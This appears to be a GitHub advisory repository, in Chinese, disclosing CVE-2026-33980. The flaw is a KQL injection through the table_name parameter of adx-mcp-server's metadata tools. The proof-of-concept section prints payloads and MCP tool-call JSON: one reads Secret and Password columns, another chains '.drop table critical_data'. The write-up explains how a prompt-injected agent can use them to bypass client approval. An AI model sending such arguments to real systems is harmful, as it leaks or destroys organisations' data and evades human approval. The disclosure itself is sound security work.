romain-deperne/CVE-2026-33980

GitHub: romain-deperne/CVE-2026-33980

该仓库详细记录并验证了adx-mcp-server中通过table_name参数实现KQL注入的高危漏洞(CVE-2026-33980),揭示了MCP「安全」元数据工具的信任边界如何被绕过。

Stars: 0 | Forks: 0

# CVE-2026-33980 — adx-mcp-server 中通过 table_name 参数实现的 KQL 注入 **严重程度**:高 (CVSS 8.8) **CWE**:CWE-943 — 数据查询逻辑中特殊元素的不当中和 **受影响版本**:`adx-mcp-server` <= 0.1.0 (commit 48b2933) **安全通告**:[GHSA](https://github.com/pab1it0/adx-mcp-server/security/advisories) **NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-33980 ## 内容摘要 `adx-mcp-server` 中的三个 MCP 工具通过 f-string 将 `table_name` 参数直接插值到 KQL (Kusto Query Language) 查询中。攻击者或遭到提示词注入的 AI 代理可以读取 Azure Data Explorer 集群中的任意表、执行管理命令(`.drop table`)或运行任意分析查询——从而绕过“安全”元数据工具和原始 `execute_query` 工具之间的信任边界。 ## 发现过程 我当时正在浏览 awesome-mcp-servers 列表,专门寻找封装云数据平台的 MCP 服务器——这些属于高风险项目,因为它们旨在为 AI 代理提供直接的数据库访问权限,而且 MCP 工具参数完全受攻击者控制(任何处理不可信数据的 LLM 都可能被提示词注入,从而传递恶意的工具参数)。 adx-mcp-server 引起了我的注意:它封装了 Azure Data Explorer,这是一个基于 Kusto 的分析平台,常用于企业环境中。我打开 `server.py` 并搜索涉及工具参数的 f-string。30 秒内就发现了三个匹配项:`f"{table_name} | getschema"`、`f"{table_name} | sample {sample_size}"`、`f".show table {table_name} details"`。 最有趣的部分在于**信任边界绕过**:该服务器既暴露了原始的 `execute_query` 工具(MCP 客户端可能需要人工批准才能执行),又暴露了这些“安全”的元数据检查工具(通常会被自动批准)。通过这些元数据工具进行注入,可以绕过客户端实施的任何批准策略。正是这一点将这个问题从“注入漏洞”上升为真正的安全边界违规。 KQL 的注释语法 (`//`) 使得该绕过变得轻而易举——只需追加 `//` 注释掉原始查询的剩余部分,就可以运行任何你想要的查询。 ## 受影响的组件 **文件**:`src/adx_mcp_server/server.py` ``` # Line 228 — get_table_schema query = f"{table_name} | getschema" # Line 248 — sample_table_data query = f"{table_name} | sample {sample_size}" # Line 268 — get_table_details query = f".show table {table_name} details" ``` 这三个工具均将来自 MCP 工具参数的 `table_name` 直接传入 `client.execute(config.database, query)`,且未进行任何验证。 ## 根本原因 KQL 允许使用 `|` 管道符连接查询操作符,并允许执行以 `.` 为前缀的管理命令。`//` 字符表示行注释。这使得 f-string 插值极易被注入: - `f"{table_name} | getschema"` → 追加 `| project Secret //` 注释掉 `| getschema` - `f".show table {table_name} details"` → 注入 `\n.drop table` 以链式执行管理命令 **为什么这比原始的 `execute_query` 工具影响更严重**:MCP 客户端通常会区分“安全”的只读工具(自动批准)和原始执行工具(需要确认)。而此注入正是针对“安全”的元数据工具,从而绕过了批准边界。 ## 概念验证 (PoC) 有关完整演示,请参阅 [`poc.py`](./poc.py)。核心 payload 如下: ``` # 通过 get_table_schema 进行数据泄露 # f"{table_name} | getschema" 变为: # "sensitive_data | project Secret, Password | take 100 // | getschema" # → // 注释掉了 "| getschema";查询读取 sensitive_data 列 table_name = "sensitive_data | project Secret, Password | take 100 //" # 通过 get_table_details 执行破坏性管理命令 # f".show table {table_name} details" 变为: # ".show table users details\n.drop table critical_data details" table_name = "users details\n.drop table critical_data" ``` **MCP 工具调用:** ``` {"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}} {"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}} ``` ## 影响 1. **数据泄露** — 读取 Azure Data Explorer 数据库中的任意表 2. **数据破坏** — 执行管理命令,例如 `.drop table`、`.drop extents` 3. **提示词注入放大** — 处理 ADX 中受攻击者控制数据的 AI 代理可被诱导传递恶意的 `table_name` 值,从而将提示词注入转化为完整的数据访问权限 ## 时间线 - **发现时间**:2026-03-xx - **报告时间**:GHSA 私有安全通告 - **CVE 发布**:CVE-2026-33980
标签:adx-mcp-server, AI代理安全, Azure Data Explorer, CISA项目, CVE-2026-33980, CVSS 8.8, CWE-943, f-string漏洞, KQL注入, Kusto查询语言, MCP安全, SQL/查询注入, 云数据平台安全, 信任边界绕过, 搜索语句(dork), 漏洞分析, 越权访问, 路径探测, 逆向工具, 高严重性漏洞